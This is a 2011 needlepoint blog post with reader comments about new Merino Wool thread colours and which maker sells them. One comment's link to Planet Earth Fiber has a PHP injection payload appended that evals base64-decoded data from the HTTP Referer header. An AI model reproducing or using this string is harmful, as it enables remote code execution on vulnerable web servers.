Sunday, May 1, 2011

Thread Talk UPDATED

Because I'm a threadaholic of the worst kind, I love reading about new threads and new colors.  So here are some thread reviews and news from the Blog-o-sphere for my fellow thread lovers.  First, here are the new colors of Merino Wool.  I wish I knew the manufacturer of this line but I don't and Google failed me.  Anyone know?
http://ridgewoodneedlepoint.blogspot.com/2011/04/new-merino-wool-colors.html

UPDATE: Looks like the Merino Wool that Ridgewood was talking about is from Vineyards Silk.  Several manufacturers have a thread called Merino Wool and I wasn't sure which one it was.
http://ridgewoodneedlepoint.blogspot.com/2011/05/vineyard-merino-wool.html

Curious about the Chinese silk you see advertised on eBay?  Mary Corbet talks about the skeins she got with a kit from the Suzhou Embroidery people.
http://www.needlenthread.com/2011/04/thread-talk-chinese-silk.html

Written by Jane/Chilly Hollow Blogging at http://chillyhollownp.blogspot.com and at http://chstitchguides.blogspot.com

9 comments:

Elaine said...

The merino wool is from Wiltex threads

Elaine said...

The wool is from Wiltex threads.

Skysmylimit said...

I "think" merino wool is a Planet Earth fiber. If it's the same one, it's wonderful to stitch with.

The Chilly Hollow Needlepoint Adventure said...

Sky, I think you are right. Thank you VERY much!

http://www.planetearthfiber.com/blog/2011/04/27/planet-earth-fiber/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

The Chilly Hollow Needlepoint Adventure said...

You are also right, Elaine. Two fibers with a very similar name!

http://www.vineyardsilk.com/

The Chilly Hollow Needlepoint Adventure said...

Thanks, Elaine. By the way, it the link to Planet Earth Fiber doesn't work, try this one.

http://www.planetearthfiber.com/blog/

Theresa said...

Hi Jane, By Looking at the tag, I'd say that's definitely Merino Wool by Wiltex Threads Vineyard Silk...we can always get her to say so! Theresa

Whitney and the Preppy Puppies said...

Jane, it looks like Vineyard Merino, my absolute favorite for belts.

Elaine said...

I think vineyard silk and merino wool are the generic names for these threads. planet earth and wiltex both distribute these threads under their company names. I vaguely remember at the show someone else was also was distributing their version.